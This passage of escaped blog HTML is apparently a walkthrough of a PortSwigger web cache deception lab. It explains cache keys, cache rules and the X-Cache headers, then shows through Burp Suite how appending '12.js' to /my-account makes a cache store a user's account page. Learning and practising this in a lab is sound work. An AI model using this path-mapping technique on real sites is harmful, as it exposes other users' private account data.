  serving the content from the server closets to the server.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;1273147351&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Cache keys&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  When the cache receives an HTTP request, it must decide whether there is a
  cached response that it can serve directly, or whether it has to forward the
  request to the origin server. The cache makes this decision by generating a
  &#39;&lt;b&gt;cache key&lt;/b&gt;&#39; from elements of the
  &lt;b style=&quot;font-style: italic;&quot;&gt;HTTP request&lt;/b&gt;. Typically, this includes the
  URL path and query parameters, but it can also include a variety of other
  elements like &lt;b&gt;&lt;i&gt;headers&lt;/i&gt;&lt;/b&gt; and &lt;i&gt;&lt;b&gt;content&lt;/b&gt;&lt;/i&gt;
  &lt;b&gt;&lt;i&gt;type&lt;/i&gt;&lt;/b
  &gt;.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Cache Rules&amp;nbsp;&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# Static file extension rules&lt;/b&gt; - These rules match the file extension of
  the requested resource, for example .css for stylesheets or .js for JavaScript
  files.
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# Static directory rules &lt;/b&gt;- These rules match all URL paths that start
  with a specific prefix. These are often used to target specific directories
  that contain only static resources, for example /static or /assets.
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# File name rules &lt;/b&gt;- These rules match specific file names to target
  files that are universally required for web operations and change rarely, such
  as robots.txt and favicon.ico.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Detecting cached responses&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  During testing, it&#39;s crucial that you&#39;re able to identify cached responses.
  Diff diff response headers may indicate that it is cached. For example:
&lt;/p&gt;
&lt;p&gt;
  The X-Cache header provides information about whether a response was served
  from the cache. Typical values include:
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;# X-Cache: hit &lt;/b&gt;- The response was served from the cache.&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# X-Cache: miss &lt;/b&gt;- The cache did not contain a response for the
  request&#39;s key, so it was fetched from the origin server. In most cases, the
  response is then cached. To confirm this, send the request again to see
  whether the value updates to hit.
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# X-Cache: dynamic &lt;/b&gt;- The origin server dynamically generated the
  content. Generally this means the response is not suitable for caching.
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# X-Cache: refresh &lt;/b&gt;- The cached content was outdated and needed to be
  refreshed or revalidated.
&lt;/p&gt;
&lt;p&gt;
  The &lt;b&gt;&lt;i&gt;Cache-Control&lt;/i&gt;&lt;/b&gt; header may include a directive that indicates
  &lt;i&gt;&lt;b&gt;caching&lt;/b&gt;&lt;/i
  &gt;, like public with a max-age higher than 0. Note that this only suggests that
  the resource is cacheable. It isn&#39;t always indicative of caching, as the cache
  may sometimes override this header.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;173&quot;
      data-original-width=&quot;325&quot;
      height=&quot;340&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi33CiLmMnedlqMYlukIy9cekZS1mAspitkAx-TrxZmm73n6vp6wcImbCjHTSFHQFWLwVfNAFYG_ulRQaEvfhMk2DV17YrLoDwpSm_HmxUfhJn2HaEHBcGqLhas_0kBSR8Tl84SYyzdW4SdLBl5ZunTICcPbri0rloacWDyOX4ebFFsOkCRX8mykVBB9lUj/w640-h340/17.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;195&quot;
      data-original-width=&quot;225&quot;
      height=&quot;555&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1OQzzcK_F6OLzX6FhKz0N0RVAhQic0w1isM4CZx2Wp7WAlcYoNdZuGXgfy3sRIKBVLuLM9LQh18uRHHWbHqLWuFRoE2bDmBuVihCelJLnFQBIVSRTc3JPEa_95C36UvJ36KvKJVGGmu4j1HFcb_nyRy7ZD2MKA_0bye3X5cM0s1_Rcvbsgdhky9lYW5AQ/w640-h555/13.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Exploiting Cache&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Cache rules often target static resources by matching common file extensions
  like .css or .js. This is the default behavior in most CDNs.
&lt;/p&gt;
&lt;p&gt;
  If there are discrepancies in how the cache and origin server map the URL path
  to resources or use delimiters, an attacker may be able to craft a request for
  a dynamic resource with a static extension that is ignored by the origin
  server but viewed by the cache
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;http://example.com/user/123/profile/abc.js&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  An origin server using &lt;b&gt;REST-style URL mapping&lt;/b&gt; may interpret this as a
  request for the &lt;b&gt;/user/123/profile &lt;/b&gt;endpoint and returns the profile
  information for user &lt;b&gt;123&lt;/b&gt;, ignoring &lt;b&gt;abc.js &lt;/b&gt;as a non-significant
  parameter.
&lt;/p&gt;
&lt;p&gt;
  A cache that uses traditional URL mapping may view this as a request for a
  file named abc.js located in the /profile directory under&lt;b&gt; /user/123&lt;/b&gt;. It
  interprets the URL path as&lt;b&gt; /user/123/profile/abc.js.&lt;/b&gt; If the cache is
  configured to store responses for requests where the path ends in &lt;b&gt;.js&lt;/b&gt;,
  it would cache and serve the profile information as if it were a
  &lt;b&gt;JS&lt;/b&gt;&amp;nbsp;or &lt;b&gt;CSS&lt;/b&gt; file.
&lt;/p&gt;
&lt;p&gt;
  Caches may have rules based on specific static extensions. Try a range of
  extensions, including&lt;b&gt; .css&lt;/b&gt;, &lt;b&gt;.ico&lt;/b&gt;, and &lt;b&gt;.exe&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b
    &gt;Now its time to do complete the Lab and Learn in practical mode -
    &lt;u
      &gt;&lt;a
        href=&quot;https://portswigger.net/web-security/web-cache-deception/lab-wcd-exploiting-path-mapping&quot;
        target=&quot;_blank&quot;
        &gt;Be practice - CLICK Here&lt;/a
      &gt;&lt;/u
    &gt;&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  Lets do this first of all whatever you want to use proxy but you can use
  &lt;b&gt;FoxyProxy. &lt;/b&gt;Its a extension for &lt;b&gt;Burp suite&lt;/b&gt;&amp;nbsp;and working as a
  proxy. You can easily add the extension for &lt;b&gt;chrome &lt;/b&gt;or
  &lt;b&gt;mozila&amp;nbsp;&lt;/b&gt;&amp;nbsp;whatever you want to use in diff diff browser.
&lt;/p&gt;
&lt;p&gt;Lets enable this -&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;401&quot;
      data-original-width=&quot;356&quot;
      height=&quot;640&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG5X-CaQ0Z4aQoB2Xm9WF97Ged64VMxNoSov8CIZeylD96R4YLhEnQTRKIJfMQDGySsoTsAPRJFy5OnHhRpY3pM4CHcaUz4dNgExghwIEytx9wbHA65SwgPK3WnqAKLbTWMFWxyzoQ7qGhg1QNdpLDi5Bvq0hfa3Sji4MegDqgRhOtslB5zknXZOKRiOBa/w568-h640/1.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;568&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  After enabiling Proxy setup, Open &lt;b&gt;burp suite&lt;/b&gt;&amp;nbsp;and do
  &lt;b&gt;intercept&lt;/b&gt;&amp;nbsp;option start.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;204&quot;
      data-original-width=&quot;564&quot;
      height=&quot;232&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWFaJ_YMAb4HGcvGd3d8-S7Mo7zh9Wb38T7I4_YVkB1CSo_vgtdoZnyzCtzlowJ1cSSELiiKLTJbbMZAbOeKXa7S7x2_7m5M_0VNHIyPi0apRd0_nCXwiqzTa8qV6S2QdsegSzsG6r8KAHAPWW1ZZbc05vqYMhVKgPwGAhCFwf42TdgIgp-mZjspNJomiw/w640-h232/2.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;
  After that we have to go &lt;b&gt;my account &lt;/b&gt;option and simple see in your
  &lt;b&gt;burp suite &lt;/b&gt;, its intercept the URL in burp suite.&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;364&quot;
      data-original-width=&quot;731&quot;
      height=&quot;318&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhCSZWvsPH_ug0jNA5Ci2IMJrUrnwqNJeU_j92oTZvzuN0c9MApwAmU6scAEF_RiW9TGv691uY3vrcKQV9T6GlkRmRMpb9PPrUTWEuD8nk5JD0BY5Ue7Kj9fD10txTbr8yzY87-8M7Dkwx6iqHMyY_qEJOoIHix-VUlK7n65vWQAnCKxpWb1rKhzTJ2JXV/w640-h318/3.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  But you can not get easily anything, but &lt;b&gt;never give up.&amp;nbsp;&lt;/b&gt;&amp;nbsp;so
  simple proced with below the &lt;b&gt;ULR&lt;/b&gt;&amp;nbsp;as you can see this. After some
  seconds you have to &lt;b&gt;turn off&amp;nbsp;&lt;/b&gt;&amp;nbsp;the proxy and go to burp suite.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;273&quot;
      data-original-width=&quot;684&quot;
      height=&quot;256&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTPTcxaIBCaVyy1iq-BYgJRYb94Uwf4BAgr85czk3DQFuEC1qBawzDeo150aSlX55ZgYE9EK7IXZ19ceok8PXbS6T5SOxTtF7EaQhLnfaGOzVyopMqa9carYpsugSPKrMuLypdegrRZ3yhMuhT0Q5V9fAsxGtSZwkiAZ4FqFENnO7Crm-RnaV5wm7tHLey/w640-h256/4.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  as you can see in below image (need to go in &lt;b&gt;HTTP &lt;/b&gt;proxy tab) request
  has arrived. &lt;b&gt;GET /my-account&amp;nbsp;&lt;/b&gt;&amp;nbsp;and see the &lt;b&gt;request tab.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;Cache Poisioning &lt;/b&gt;It&#39;s important to distinguish web cache deception from
  web cache poisoning. While both exploit caching mechanisms, But its a little
  bit different.&lt;b
    &gt;&amp;nbsp;- C&lt;a
      href=&quot;https://www.kumaratuljaiswal.in/2022/01/code-your-own-arp-cache-poisoning.html&quot;
      target=&quot;_blank&quot;
      &gt;reate your own Arp cache poisioning - CLICK HERE&lt;/a
    &gt;&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;464&quot;
      data-original-width=&quot;690&quot;
      height=&quot;430&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCfDOBNlbUNvPHHf8PIDVli_WkU8_Plk-RFxi3yAlndOfELh28YjoAUxZ4tZYEyRh6OHAhpp6IEvzkqdX-mz0ccSSNp1hr8JGE-iYG5p6R0Dv8YmwPkWcbWRRKf9XACmf_10AfOVPRS8Bn-8umKTQyCuL7IpD-S4jREk7syFMUUxnx3WYiQPErZvuoqfO0/w640-h430/5.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Then, go back to web page (lab page) and simple type the username and password
  &lt;b&gt;wiener : peter &lt;/b&gt;and again &lt;b&gt;Turn on the proxy &lt;/b&gt;and
  &lt;b&gt;intercept the HTTP request &lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;574&quot;
      data-original-width=&quot;834&quot;
      height=&quot;440&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTaJ2oduEAGNHzFT4vWzmI6TRxcF5nOiQzzXCW3cG-0efFaIgU5IqSPwxoAeYaNtQjl9aJShd62zPNP394OLJA9vjMLjTjVH8fYDO_dldC1VCc0w9Fmd9IjHk2Wwaiw9ZgvJhFvGrgy_ukCi5bbM9hqafr24d5I4GgFPsMXjsM2CvxroJ6AuBZRdDyYWqK/w640-h440/6.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Login is done now if you want you can turn off the proxy in chrome browser (by
  the way why i am doing this again n again n again because of&amp;nbsp;&lt;b
    &gt;you have to intercept what you wanted to but sometimes the page still keeps
    loading thats why&lt;/b
  &gt;)&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;496&quot;
      data-original-width=&quot;837&quot;
      height=&quot;380&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJpt-U7Wbmg5Y_RUOAuL0Ut8XzWRXecoF4UKlLdlcU4n4pQtgFJB9yYHIfbT4cdvUkl_X8g47JAQqKlXN7fKSMLe6H9rBFf7lBJYVb2jOKi8-Du6HDcuj2YOcMCuFHTszGicdSwo79x5Xo4IkBocOQEdm1G0KC1yICqEmmdFUmdA-Knia6jCp12r2_hxgr/w640-h380/7.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Now you will see that you have got &lt;b&gt;API&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;3523395111&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;384&quot;
      data-original-width=&quot;711&quot;
      height=&quot;346&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKN995grakU7DNBo6wLwSXjnlGq8sEgmdNJ0Nsp4-sn8rfwXwN9gpcbEa2onIhLrc9ySZwasHlu_TuHjRYgp2QZCOKUTFj0dOPgVtk7KdIxJYAOxYWqOxqH6rvijL1gjpkqf_tViqppM64KC0it2f7v92lyJsm7PZPdHVKdXIKW7q7bhHpZPzEORiVKtma/w640-h346/9.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  Now on that same page edit the &lt;b&gt;URL&amp;nbsp;&lt;/b&gt;&amp;nbsp;and simple add the some
  kind of &lt;b&gt;JS or CSS &lt;/b&gt;extension file name like (in our case &lt;b&gt;12.js&lt;/b&gt;)
  and hit enter.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;198&quot;
      data-original-width=&quot;849&quot;
      height=&quot;150&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPNWydGbBOC5KUPqHzrp96nfAaTbkggv-yQRa6CFyTb1_mw_rZRnhace_4BW-8J08Z3dy2VryssaF87yq04bVyAJb8OjXmlo2vt2hWZO8Jm-pzHMxmYBPrZO5I5zby6w9JUkSQObtc2WfhL-OgKBViNxyGzdAaVuv01gwKKHAXiU_ZMS-OpAROx28rCq7E/w640-h150/10.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;203&quot;
      data-original-width=&quot;852&quot;
      height=&quot;152&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_Qd7zjQ3qGfCYqPqRPgMR6XMx0jl2wa8Wyw3Tzw-N-r8tI8pJwTkDTBis8aX1VEFeAEbhvfinEy0OoqIkSrIAKjyv0JYOoFeyU24aj0EPDZXXC5w842FqJvk_YSaQ9YI4GDtFlDZvoj-OR6QUZUH0x5PPnUr3W7UqdOzj8bgW8lTICurEMgKLRauGvNPi/w640-h152/11.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b
    &gt;https://0aa7003d04c35ca280a8eeac008b0054.web-security-academy.net/my-account/12.js&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  and you will see there its intercepting the &lt;b&gt;HTTP request in burp suite.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;487&quot;
      data-original-width=&quot;1198&quot;
      height=&quot;260&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOzn9q2t1qqbN-NGOSkgHjAl_e3gPN79ETjLyGWb9UNYHAw_nx8-Nqvj4-SIKuqJ6iB1ZNVzJslv-l32Shv2qQnen5VI2jZDRS_MMn_S6lq3O2tcA8BHIn73GOOaeaVnyulGJ1ThDU4viU0NtblqdszCU6lW59NhDgksjw5cO_QhQLLHdtitx8zVWwLfhk/w640-h260/12.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Simply click on it and see the response &lt;b&gt;x-cache miss&amp;nbsp;&lt;/b&gt;&amp;nbsp;and
  after that &lt;b&gt;send into repeater.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;542&quot;
      data-original-width=&quot;1213&quot;
      height=&quot;286&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg38YzaSiI1erQqQYgUCtkME4S6QgOLo9s1sXF3xvW1FXLmwIugw6TRYk6DnF7R3wTUcpnInzgCK-UU6qFEYVjtiMS3GPHIXpebC7hyphenhyphen3jhP0AgNrDeqkSN_IPK4B-xIwaY0P-qYd25D2WIcURyO9emfeCkmaDtRROIRjQmM52SIEbjBdkwys0VW2E_kMewh/w640-h286/13.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
